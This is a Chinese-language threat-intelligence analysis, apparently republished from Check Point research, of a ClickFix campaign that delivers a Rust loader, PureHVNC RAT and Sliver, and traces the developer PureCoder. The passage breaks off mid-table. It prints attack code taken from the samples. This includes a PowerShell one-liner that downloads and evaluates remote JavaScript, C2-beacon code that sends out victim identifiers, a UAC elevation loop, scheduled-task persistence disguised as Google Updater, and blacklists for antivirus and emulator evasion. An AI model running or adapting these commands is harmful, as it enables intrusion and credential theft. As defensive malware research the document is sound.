从RAT到构建器再到开发者:Pure恶意软件家族的深度技术分析

本文详细分析了Check Point研究团队对Pure恶意软件家族的深度调查,包括PureHVNC RAT的技术架构、Rust加载器的反分析技术、命令与控制通信机制,以及通过GitHub账户追踪到开发者PureCoder的运营时区(UTC+0300)等重要发现。

从RAT到构建器再到开发者:Pure恶意软件家族的深度技术分析

关键发现

Check Point研究团队对一起ClickFix活动进行了取证分析,该活动通过虚假工作机会诱骗受害者,导致持续八天的入侵。威胁行为者部署了多种工具,包括Rust加载器、PureHVNC RAT和Sliver命令与控制框架。

本出版物分析了相关文件,提供了对PureHVNC RAT最全面的分析之一,包括其完整的命令集和插件。在与C&C服务器通信期间,僵尸程序接收了三个GitHub URL,包含特定PureHVNC功能的支持文件。分析确认这些URL和相关的GitHub账户直接与Pure恶意软件家族的开发者相关联。

此前关于PureCoder的信息知之甚少,本出版物揭示了开发者的运营时区(UTC+0300)和可能的居住国家。这一线索可能使相关机构能够进行进一步的情报收集。进一步调查发现了PureRAT构建器,揭示了该RAT的功能,并突出了与PureCrypter相关的特性,这是Pure恶意软件套件作者PureCoder开发的另一个工具。

引言

Pure恶意软件家族是由名为PureCoder的作者开发和销售的一套恶意工具。该套件包括PureHVNC RAT(远程管理工具,PureRAT的前身)、PureCrypter(恶意软件混淆器)、PureLogs(窃取器/记录器)和其他几种工具。这些恶意软件通过地下论坛、Telegram频道和专用网站进行广告和分发。这些产品通常结合使用,以在广泛的恶意操作中最大化其效果。

虽然PureCoder负责构建和维护恶意软件生态系统,但网络犯罪客户主要使用这些工具进行活动。2025年,Pure恶意软件产品的使用显著增加,威胁行为者通过各种方法分发它们,包括恶意垃圾邮件、钓鱼网站和ClickFix技术。

在一次Check Point事件响应(IR)参与中,我们的团队调查并遏制了一起持续八天的入侵。威胁行为者分发了一个Rust加载器,该加载器部署了具有活动ID 2a和amazon3的PureHVNC RAT。攻击者通过虚假工作广告诱骗受害者,允许攻击者通过ClickFix钓鱼技术执行恶意的PowerShell代码。

观察到RAT的命令与控制服务器(C&C)向受感染的受害者传递了三个GitHub URL并下载了相关文件。这些下载的文件支持PureHVNC RAT使用的各种命令,并确定是Pure开发和操作基础设施的一部分,而不是威胁行为者本身。因此,所涉及的GitHub账户被归因于Pure恶意软件家族的开发者PureCoder。

虽然目前关于这些产品作者的信息有限,但对相关GitHub账户的分析揭示了运营时区设置为UTC+0300,这对应于包括俄罗斯在内的几个国家。

ClickFix活动与取证工件

ClickFix是一种社会工程学钓鱼技术,受害者被呈现带有欺骗性指令,旨在诱骗他们运行恶意命令。在此活动中,受害者通过虚假工作机会被诱骗到ClickFix钓鱼页面。访问该页面后,一个PowerShell命令自动复制到他们的剪贴板,传递一个恶意的JavaScript文件。

在八天的入侵期间,攻击者使用了恶意JavaScript文件,部署了两个PureHVNC RAT实例,在受害者系统上建立了持久性,并最终执行了Sliver命令与控制(C2)框架。

感染链

感染第1天 – ClickFix & PureHVNC

在初始访问的最初时刻,我们观察到威胁行为者的大部分互动,丢弃JavaScript文件和第一个版本的PureHVNC RAT。

受害者通过虚假工作机会被诱骗,访问恶意的ClickFix网站后,一个PowerShell命令自动复制到他们的剪贴板。

该页面指示用户粘贴并执行该命令。如果执行,该命令下载并运行一个恶意JavaScript文件,启动感染链。

复制的PowerShell命令:

1
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j"

命令与控制服务器响应恶意JavaScript代码,该代码在启动文件夹中创建了一个恶意的LNK文件,并赋予自身在机器上的持久性。恶意JavaScript文件被混淆,每天联系不同的命令与控制服务器并等待进一步指令。

1
2
3
4
5
6
7
8
9
function getURL() {
    var C2_domain_list = ['stathub[.]quest', 'stategiq[.]quest', 'mktblend[.]monster', 'dsgnfwd[.]xyz', 'dndhub[.]xyz'];
    var current_datetime = new Date().getTime();
    var no_days = getDaysDiff(0, current_datetime);
    return 'https://'
        + getListElement(C2_domain_list, no_days)
        + '/Y/?t=' + current_datetime
        + '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}

JavaScript传递了第一个版本的PureHVNC RAT,其命令与控制为54[.]197.141.245,活动ID为2a。

感染第2天 – Rust加载器 & PureHVNC

在感染的第二天,威胁行为者部署了一个新版本的PureHVNC RAT,该RAT使用Rust加载器和Inno Setup(一个用于Windows应用程序的开源安装构建器)进行打包。

这个部署PureHVNC RAT的Rust加载器被丢弃在%APPDATA%\Microsoft\SystemCertificates\9TwinAPIInterop.pfx,与第一个版本没有差异,唯一的变化是活动ID变为amazon3。

PureHVNC RAT配置:

1
2
3
4
5
6
7
8
{
  "C&C": "54.197.141.245",
  "ports": [443, 10443],
  "certificate": "MIIE4jCCAsqgAwIBAgIQAPKOllxpzWEf7Cig2iwQUTANBgkqhkiG9w0BAQ0FADASMRAwDgYDVQQDDAdXd2ZwaHZiMCAXDTI0MDkxNTEyNDUwN1oYDzk5OTkxMjMxMjM1OTU5WjASMRAwDgYDVQQDDAdXd2ZwaHZiMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3Qm+O4ZX8e7qnzb7AcS+MKuMmNan06HgF1tV3zC92tiL/QylCy3TfZ1GQmut+cOfuZby9uYAyMF74uxtwpFpr6pzL4ps3HxpuxBrvAcRsUKVShpQzGOTMwlJWJj7nDX1Tn/PIr9g55C7jTF/k93grdGN38EAYQSd75gxhZ7sddCZFuBy6Bdt21URknipN9N3y/dlDO+qBZmbVhGGEqZ1HrVD2RpmKKEO6OZu4XJHLrn1EsjgxyM0ifb7P38bR/cDB2PxzOqGRZ/Snhg5Bw/uG82+twYkp6CxVRH59yamlHp9qRF4vRFLk08xZ0+lRkQV4BrEWbA60omIp3XDdnMOPFZnqHUMTBTZ871LE782VF34xM5QdIA2r6QjqNyKSymb/lMcLJEhlJ+DEf05Y20lE9nJTn/ioMKO/ilszJOhu8NS43g+torPCEOvDldBfxtgcp4w+SXXLfUi3+p/326JXghRpqZUQ99VaH/ucT4rP9CcSjIqlCymPuAhOZmRDyMAcWuzsz/1STgZ8fxP0DVprdpTLvN9n+esMPYHRECUlaZLdn9x9AmZARbMatOdAzH8LgQTG02ecVS/pEugUVg7Ipxn6pWqjK+NSFNr1kxCYI5UqZK50CdINoKM8+frA7gAl3ohnY4bRK6bFioaCCcCZJF7FaJJh+EDs/CQ6KcLpnkCAwEAAaMyMDAwHQYDVR0OBBYEFB9jTlNea5ZsJd7ClDh/cepkFXZZMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAH3nFnvuPEufM3BwPNfhgs5RkPPXk2pG9cTznxER3h37kR3jguEnq2wL7yYA2D30XA8tJv7+CPZ/IrtSC0OSyEmw8a5FoHtno22e5Dtq81FY4c8kFTS0p39mtAEtitAGehMyE6K3X0LgvNaxWwbdL9rcko62msxqKRw3fxaFjTNK+tl5H6T8jXH5VMqEd0eiiK5ySanLkiy+CfYJnyqBoICYW4r1W/o65ibgxzPoOzcbod4UG9O6YwDqMDN8JlQDQTl7gZLitCRcaBZQynINF2yZwZYirdWqK0X3fhQLluoZ9zXhc5rb3UM5+QvP9p/ZaUOIZ0m18vjVcnz6Zo9N60K93u5Z/IzBcd8gM1Wp3dtDruekbjdXs8b+txMDFSy56ZPBFLJhWO4xpGt172ZMp6Du9sMAWDaDTfPvZWprE5WjCk4fltMQU0DGbPmP1il3XLtqVvPiLvuAccrbL9wkvlvDKgjqUpYjXsdFOT5unXiYc1eEDW4HIWNJcIw2J4oz8I2AlwQ+exVTEArQc8G3fNbMsvZD7CtSVJKqZLSkAfoki3Zrs/fIFTGGNzQ/Vbb01K7k7s2mAQ4Mr1JjNh/ZwlTdubKZp+jbARrhDvvdPISupSo0KDKBjwkY2tcGw/aTsYKdNywDn8VqIvLjHhDKG4vMm7FYoLMdEWIXNyvP1oJ2",
  "campaign_id": "amazon3",
  "install_path": "APPDATA",
  "mutex": "aa05be285061"
}

感染第8天 – Sliver植入

在大部分时间保持不活动超过六天后,可能是为了验证受感染的机器是真实目标而不是沙箱环境,威胁行为者传递了一个Sliver植入,其C&C为hxxps://jq-scripts.global.ssl[.]fastly[.]net。Sliver然后传递并执行了一个PowerShell脚本,该脚本在提示中请求用户密码,并将凭据存储在%ProgramData%/__cred.txt。

Rust加载器 – 技术分析

恶意加载器是一个用Rust编程语言开发的DLL文件,并使用LOLBin regsvr32执行。恶意功能位于函数导出DllRegisterServer和DllUnregisterServer中,这些函数包含相同的代码段。

字符串解密

恶意软件包含加密字符串,这些字符串使用ChaCha20-Poly1305算法按需解密。解密密钥通过异或两个嵌入在二进制文件中的硬编码值生成:

值1:4a01d45563d802fee5593a21f1b216aeed83c4dff50fa6a31391ff73feb29dbd 值2:bf83184822bf184536b50dff4758edd638b59cb82a06ee019b62b0bce33d07b5 Chacha20-Poly1305密钥:f582cc1d41671abbd3ec37deb6eafb78d5365867df0948a288f34fcf1d8f9a08

反分析技术

第一个反分析技术监控运行的进程,并尝试识别各种与 antivirus 和安全软件、调试器、逆向工程工具和监控工具相关的进程。恶意软件检测到了来自 Bitdefender、ESET、Kaspersky、Ad-Aware 和 360 Total Security 的 antivirus 进程。

黑名单进程:

1
"bdservicehost.exe", "bdredline.exe", "aylaunch.exe", "egui.exe", "360Safe.exe", "zhudongfangyu.exe", "HipsDaemon.exe", "ekrn.exe", "eguiProxy.exe", "avp32.exe", "avpcc.exe", "avpm.exe", "avpdos32.exe", "avp.exe", "adawareservice.exe", "ksdumper.exe", "decoder.exe", "dnspy.exe", "dbgx.shell.exe", "ilspy.exe", "ollydbg.exe", "x32dbg.exe", "x64dbg.exe", "gdb.exe", "idaq.exe", "idag.exe", "idaw.exe", "ida64.exe", "idag64.exe", "idaw64.exe", "idaq64.exe", "windbg.exe", "immunitydebugger.exe", "windasm.exe", "scylla.exe", "scyllahide.exe", "cheatengine.exe", "pe-bear.exe", "ollyice.exe", "radare2.exe", "ghidra.exe", "sysanalyzer.exe", "xperf.exe", "procdump.exe", "dbgview.exe", "apimonitor.exe", "pe-sieve64.exe", "pe-sieve32.exe", "pe-moneta.exe"

第二个反分析技术包括一个专门存在于Microsoft的Windows Defender恶意软件分析模拟器中的API函数列表。该技术解决了Windows库和虚拟库之间的差异,虚拟库包含更多专门与模拟环境相关的API调用。

黑名单API:

1
"MpVmp32Entry", "NtControlChannel", "ObjMgr_ValidateVFSHandle", "ThrdMgr_GetCurrentThreadHandle", "ThrdMgr_SaveTEB", "ThrdMgr_SwitchThreads", "VFS_CopyFile", "VFS_DeleteFile", "VFS_DeleteFileByHandle", "VFS_FileExists", "VFS_FindClose", "VFS_FindFirstFile", "VFS_FindNextFile", "VFS_FlushViewOfFile", "VFS_GetAttrib", "VFS_GetHandle", "VFS_GetLength", "VFS_MapViewOfFile", "VFS_MoveFile", "VFS_Open", "VFS_Read", "VFS_SetAttrib", "VFS_SetCurrentDir", "VFS_SetLength", "VFS_UnmapViewOfFile", "VFS_Write", "MpAddToScanQueue", "MpCreateMemoryAliasing", "MpCallPostEntryPointCode", "MpCallPreEntryPointCode", "MpDispatchException", "MpExitThread", "MpFinalize", "MpGetCurrentThreadHandle", "MpGetCurrentThreadId", "MpGetLastSwitchResult", "MpGetPseudoThreadHandle", "MpGetSelectorBase", "MpGetVStoreFileHandle", "MpHandlerCodePost", "MpIntHandler", "MpIntHandlerParam", "MpIntHandlerReturnAddress", "MpNtdllDatatSection", "MpReportEvent", "MpReportEventEx", "MpReportEventW", "MpSehHandler", "MpSetSelectorBase", "MpStartProcess", "MpSwitchToNextThread", "MpSwitchToNextThread_WithCheck", "MpSwitchToNextThread_NewObjManager", "MpTimerEvent", "MpTimerEventData", "MpUfsMetadataOp", "MpValidateVFSHandle", "MpVmp32FastEnter"

如果任何反分析技术检测到恶意软件正在模拟或沙箱环境下被分析和监控,它将通过执行命令cmd /c timeout /t {random_time} >null随机睡眠10到30分钟,唤醒后,如果仍在受监控的环境中运行,它会重新运行反分析过程,如果再次被检测到,它会再次进入随机睡眠。

Rust加载器要求使用特定的命令行参数执行,如果不存在该参数,则终止其执行。恶意软件检索传递给进程的参数,并尝试查找参数/i:--type=renderer

作为最终的反分析和规避技术,在成功解密其有效负载后,恶意软件通过向ntdll.dll中的原生LdrLoadDll函数注入钩子来主动实现AMSI绕过。此钩子拦截尝试加载amsi.dll库(负责Windows反恶意软件扫描接口)的行为,并有效阻止其加载到进程中。通过这样做,恶意软件禁用了AMSI的运行时扫描功能,从而规避了依赖AMSI进行实时恶意软件检查的安全产品的检测和分析。

持久性

恶意软件检查进程是否未以管理员权限运行,然后执行以下PowerShell命令以授予恶意软件更高权限。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
"powershell" -Command "
while ($true) {
    try {
        Start-Process -FilePath 'cmd.exe' `
            -Verb runas `
            -ArgumentList '/c start "" /B "regsvr32.exe" {MALWARE} /i:--type=renderer';
        exit
    } catch {}
}
"

此PowerShell将尝试在无限循环中以管理员权限执行恶意DLL,直到用户接受UAC(用户账户控制)提示。一旦提示被接受,进程终止自身,感染继续以获得更高权限的进程进行。

加载器为了避免被执行两次,创建了一个互斥体MistyRoseNavy,然后执行一个PowerShell命令,该命令将通过计划任务维持系统持久性。

第一个PowerShell命令将尝试查看系统中是否已注册任何计划任务。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
"powershell" -Command "
if (
    Get-ScheduledTask | Where-Object {
        $_.Actions.Execute -eq 'regsvr32' -and
        $_.Actions.Arguments -eq '/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\{MALWARE}\"'
    }
) {
    exit 0
} else {
    exit 1
}
"

如果没有,它将继续在受感染的机器上创建持久性。任务名称和路径被设计为模仿Google更新程序:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
Register-ScheduledTask `
  -Action (
    New-ScheduledTaskAction `
      -Execute "regsvr32" `
      -Argument "/s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\{MALWARE}""
  ) `
  -Trigger (
    New-ScheduledTaskTrigger `
      -Once -At (Get-Date).AddMinutes(1) `
      -RepetitionInterval (New-TimeSpan -Minutes 1)
  ) `
  -TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-9A2C-41C2-B9E7-3C3C6F193A83}' `
  -TaskPath '\GoogleSystem\GoogleUpdater' `
  -Description 'GoogleUpdater Task System 196.6.2928.90' `
  -Settings (
    New-ScheduledTaskSettingsSet `
      -AllowStartIfOnBatteries `
      -DontStopIfGoingOnBatteries `
      -ExecutionTimeLimit 0 `
      -DontStopOnIdleEnd
  ) `
  -RunLevel Highest

上述脚本的执行将通过将其作为PowerShell over stdin运行,首先执行以下命令,然后将持久性PowerShell脚本写入管道WriteFileEx。

1
PowerShell.exe -NoProfile -NonInteractive -Command -

有效负载解密与执行

有效负载嵌入在Rust二进制文件中,并使用简单的XOR与32字节密钥进行解密。

随后,恶意软件将验证解密值,这将决定下一步。验证通过异或解密字节并生成哈希值来进行。

此哈希值被进一步处理并与值0x6进行比较。在此函数中,我们还观察到十六进制值0xDEADBEEF,尽管它不影响输出,似乎仅用作标记。

下一步,恶意软件检查解密的负载是否大于1 KB(1024字节),只有在这种情况下才继续感染,否则自行终止。在此阶段,恶意软件已经成功钩住LdrLoadDll,绕过了AMSI加载。

作为最后一步,Rust加载器创建一个堆,将解密的负载缓冲区复制到其中,并执行shellcode。

缓冲区包含一个.NET负载,通过shellcode执行。一旦.NET加密器使用AES解密最终负载并使用Gzip解压缩,它被识别为PureHVNC。

PureHVNC RAT – 技术分析

PureHVNC是Pure恶意软件家族的产品,由PureCoder开发。该恶意软件提供HVNC功能(隐藏虚拟网络计算),允许攻击者控制受感染的机器,而会话对受感染用户不可见。

分析的恶意软件包含经过混淆的字符串和函数调用,这些是动态解密的。通过使用NETReactorSlayer,我们可以获得此恶意软件的更清晰版本。

配置

恶意软件配置是protobuf序列化的,Gzip压缩的,并且Base64编码的。反向过程检索恶意软件配置,其中包含执行配置,如命令与控制服务器、端口号和互斥体名称。

反序列化解压缩的缓冲区可以使用protod工具完成,得到以下输出。

1
2
3
4
5
6
7
8
9
[b2 02] 38 string: (1731)
    [0a] 1 string: (14) 54.197.141[.]245
    [10] 2 varint: 443 (0x1bb)
    [10] 2 varint: 10443 (0x28cb)
    [1a] 3 string: (1672) MIIE4jCCAsqgAwIBAgIQAPKOllxpzWEf7Cig2iwQUTANBgkqhkiG9w0BAQ0FADASMRAwDgYDVQQDDAdXd2ZwaHZiMCAXDTI0MDkxNTEyNDUwN1oYDzk5OTkxMjMxMjM1OTU5WjASMRAwDgYDVQQDDAdXd2ZwaHZiMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3Qm+O4ZX8e7qnzb7AcS+MKuMmNan06HgF1tV3zC92tiL/QylCy3TfZ1GQmut+cOfuZby9uYAyMF74uxtwpFpr6pzL4ps3HxpuxBrvAcRsUKVShpQzGOTMwlJWJj7nDX1Tn/PIr9g55C7jTF/k93grdGN38EAYQSd75gxhZ7sddCZFuBy6Bdt21URknipN9N3y/dlDO+qBZmbVhGGEqZ1HrVD2RpmKKEO6OZu4XJHLrn1EsjgxyM0ifb7P38bR/cDB2PxzOqGRZ/Snhg5Bw/uG82+twYkp6CxVRH59yamlHp9qRF4vRFLk08xZ0+lRkQV4BrEWbA60omIp3XDdnMOPFZnqHUMTBTZ871LE782VF34xM5QdIA2r6QjqNyKSymb/lMcLJEhlJ+DEf05Y20lE9nJTn/ioMKO/ilszJOhu8NS43g+torPCEOvDldBfxtgcp4w+SXXLfUi3+p/326JXghRpqZUQ99VaH/ucT4rP9CcSjIqlCymPuAhOZmRDyMAcWuzsz/1STgZ8fxP0DVprdpTLvN9n+esMPYHRECUlaZLdn9x9AmZARbMatOdAzH8LgQTG02ecVS/pEugUVg7Ipxn6pWqjK+NSFNr1kxCYI5UqZK50CdINoKM8+frA7gAl3ohnY4bRK6bFioaCCcCZJF7FaJJh+EDs/CQ6KcLpnkCAwEAAaMyMDAwHQYDVR0OBBYEFB9jTlNea5ZsJd7ClDh/cepkFXZZMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAH3nFnvuPEufM3BwPNfhgs5RkPPXk2pG9cTznxER3h37kR3jguEnq2wL7yYA2D30XA8tJv7+CPZ/IrtSC0OSyEmw8a5FoHtno22e5Dtq81FY4c8kFTS0p39mtAEtitAGehMyE6K3X0LgvNaxWwbdL9rcko62msxqKRw3fxaFjTNK+tl5H6T8jXH5VMqEd0eiiK5ySanLkiy+CfYJnyqBoICYW4r1W/o65ibgxzPoOzcbod4UG9O6YwDqMDN8JlQDQTl7gZLitCRcaBZQynINF2yZwZYirdWqK0X3fhQLluoZ9zXhc5rb3UM5+QvP9p/ZaUOIZ0m18vjVcnz6Zo9N60K93u5Z/IzBcd8gM1Wp3dtDruekbjdXs8b+txMDFSy56ZPBFLJhWO4xpGt172ZMp6Du9sMAWDaDTfPvZWprE5WjCk4fltMQU0DGbPmP1il3XLtqVvPiLvuAccrbL9wkvlvDKgjqUpYjXsdFOT5unXiYc1eEDW4HIWNJcIw2J4oz8I2AlwQ+exVTEArQc8G3fNbMsvZD7CtSVJKqZLSkAfoki3Zrs/fIFTGGNzQ/Vbb01K7k7s2mAQ4Mr1JjNh/ZwlTdubKZp+jbARrhDvvdPISupSo0KDKBjwkY2tcGw/aTsYKdNywDn8VqIvLjHhDKG4vMm7FYoLMdEWIXNyvP1oJ2
    [22] 4 string: (7) amazon3 (61 6d 61 7a 6f 6e 33)
    [3a] 7 string: (0)
    [42] 8 string: (7) APPDATA (41 50 50 44 41 54 41)
    [4a] 9 string: (12) aa05be285061

上述配置将值存储在特定类中,其属性装饰有[ProtoMember(n)]属性,表明它使用Protocol Buffers (protobuf-net)进行序列化。

ProtoMember 描述
1 恶意软件命令与控制服务器。
2 C&C端口。
3 TLS证书,用于C&C通信。
4 活动ID。
5 维持持久性标志。
6 标志值,执行SetThreadExecutionState Windows API,防止系统休眠或关闭显示。
7 任务名称,用于通过计划任务维持持久性。如果未定义该字段,则使用可执行文件名。
8 环境变量,将用于检索安装文件夹。此文件路径将用于持久性。
9 互斥体名称,确保恶意软件进程唯一。
10 未知,未使用的字段。

持久性

PureHVNC与上述Rust加载器类似,通过执行PowerShell命令在系统的计划任务中维持其持久性。

当以管理员权限运行时,恶意软件将执行以下脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Register-ScheduledTask `
    -TaskName '<task_name>' `
    -Action (
        New-ScheduledTaskAction -Execute '<executable_path>'
    ) `
    -Trigger (
        New-ScheduledTaskTrigger -Once -At (Get-Date) `
        -RepetitionInterval (New-TimeSpan -Minutes 5)
    ) `
    -User $env:UserName `
    -**RunLevel Highest** `
    -Settings (
        New-ScheduledTaskSettingsSet `
            -ExecutionTimeLimit (New-TimeSpan -Seconds 0) `
            -AllowStartIfOnBatteries `
            -DontStopIfGoingOnBatteries
    ) `
    -Force

当进程以普通用户身份运行时,命令将在没有-RunLevel Highest选项的情况下运行。根据进程权限,相应的命令将被Base64编码,然后使用-Enc PowerShell参数执行。

网络通信

恶意软件最初尝试检查端点当前是否存活,首先尝试通过套接字连接,然后向C&C发送四个字节04 00 00 00。

恶意软件创建一个SSLStream并执行SSL握手,根据其配置中嵌入的证书验证服务器证书。

在此阶段,PureHVNC收集将发送给攻击者服务器的僵尸程序信息。此信息将被序列化,然后使用Gzip压缩。如果压缩数据超过约1 MB(1,000,000字节),它将分成16 KB的块发送。

一旦数据发送完毕,PureHVNC通过SSL流从C&C接收压缩缓冲区大小,并将整个缓冲区读入数组。在解压缩和反序列化数据后,恶意软件在单独的线程中执行接收到的命令。

收集的数据

PureHVNC从受感染系统收集数据并发送到C&C服务器。这包括安装的antivirus产品、僵尸程序标识符、用户域和权限、操作系统版本、可执行文件名、空闲时间以及感兴趣的已安装应用程序。信息还包含元数据,如从恶意软件配置中获取的恶意软件版本(4.1.9)和活动ID(amazon3)。

为了检索antivirus产品,查询Windows Management Instrumentation (WMI) 以获取系统上安装的antivirus产品,“SELECT * FROM AntiVirusProduct”。

除了收集有关已安装antivirus产品的信息外,恶意软件还检查主机系统上是否存在特定的感兴趣应用程序。它扫描与已知加密货币钱包软件、浏览器扩展以及消息传递或电子邮件客户端相关的预定义目录、文件和注册表键以查找它们(见附录)。

在发送到C&C的数据中,有三条信息也可以用作反沙箱指标,帮助攻击者确定僵尸程序是位于真实用户系统上还是在沙箱化或虚拟化分析环境中。

第一种技术返回一个布尔值,指示受感染的机器是否有任何被识别为相机或成像设备的设备。这是通过执行WMI查询"SELECT * FROM Win32_PnPEntity WHERE (PNPClass = ‘Image’ OR PNPClass = ‘Camera’)“来确定的。沙箱和虚拟机通常缺乏物理设备,如网络摄像头或成像设备,缺乏此类设备可能表明是非物理环境。

第二个收集的数据检索最后一个输入事件(键盘/鼠标)的滴答计数和机器上的最后一个用户活动。第三个是可执行文件名和路径,在此活动期间,恶意软件安装在固定文件夹中。这三个信息结合可以被攻击者用来确定受感染的机器是否是真实用户。

插件与命令

PureHVNC在注册表键内存储插件。注册表键使用BotID,而名称和值由C&C接收。插件的数据被压缩和反转,每次加载插件时,它反转字节并解压缩缓冲区。注册表路径位于HKEY_CURRENT_USER\Software{BOT_ID},Bot ID使用以下Python逻辑生成:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# PureHVNC BotID generation logic
import hashlib

class PureBotID:
    def __init__(self, user_name: str, domain_name: str, processor_id: str, drive_sn: str, memory_sn: str):
        # Environment.UserName
        self.user_name = user_name
        # Environment.UserDomainName
        self.domain_name = domain_name
        # "Win32_Processor", "ProcessorId"
        self.processor_id = processor_id
        # "Win32_DiskDrive", "SerialNumber"
        self.drive_sn = drive_sn
        # "Win32_PhysicalMemory", "SerialNumber"
        self.memory_sn = memory_sn
        # generating Bot ID PureHVNC logic
        self.bot_id = self.generate_bot_id()

    def generate_bot_id(self) -> str:
        user_domain = f"{self.user_name}[{self.domain_name}]" if self.domain_name else self.user_name
        result = f"{self.processor_id}{self.drive_sn}{self.memory_sn}{self.domain_name}{user_domain}"
        return hashlib.md5(result.encode()).hexdigest().upper()

一旦插件被传递到受感染的受害者,威胁行为者可以执行各种命令。大多数命令与插件有一对一的关系,意味着插件仅服务于一个功能,尽管一些插件服务于多个命令。观察到的插件和支持的命令:

ID 插件 支持的命令 描述
0 None None 无操作。
1 RemoteHiddenVNC HvncRunpe 隐藏虚拟网络计算(HVNC)功能在单独进程下。
2 RemoteHiddenVNC AudioEnableAudio 启用音频的HVNC。
3 RemoteAudio RemoteMic 从受感染系统的麦克风捕获实时音频。
4 TaskManager ProcessManager 显示、杀死、重启进程。
5 FileManager FileManager 显示、杀死和重启进程。
6 Executing DownloadAndExecuteDisk, DownloadAndExecuteMemory, DownloadAndUpdate 执行计算机相关命令,如重启、关闭PC,并提供多个僵尸程序-C&C连接相关功能。
7 RemoteCamera RemoteWebcam 激活受害者的网络摄像头并流式传输或捕获图像/视频。
8 RemoteShell RemoteShell 远程Shell插件和命令。
9 RemoteDesktop RemoteDesktop 远程桌面插件和命令。
11 PcOption DeletePlugins, CloseConnection, RestartConnection, UninstallConnection, ShutdownPC, RestartPC, BlockConnection 执行计算机相关命令,如重启、关闭PC,并提供多个僵尸程序-C&C连接相关功能。
12 Chat Chat 允许操作员和远程客户端之间实时文本通信的命令。
13 Keylogger RemoteKeylogger 键盘记录功能。
14 VisitWebsite VisitWebsite 访问指定网站指定持续时间。
15 RevProxy RevProxyHttp, RevProxySocks5 支持HTTP和SOCKS5的反向代理。
16 TV TV 未知,当前未使用的插件-命令。
17 ExecutePowershell DefednerExclusion, PowershellOneLiner, DeleteRestorePoints 执行PowerShell指定的单行命令。以及执行PowerShell以绕过Windows Defender。
18 RemoteHiddenVNC_Reflection RemoteHvncReflection 终止僵尸程序,带有删除选项。
19 TwitchBot TwitchBot Twitch Bot命令能够向聊天发送消息、关注、取消关注账户、点击广告。
20 YoutubeBot YoutubeBot YouTube Bot执行订阅、取消
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计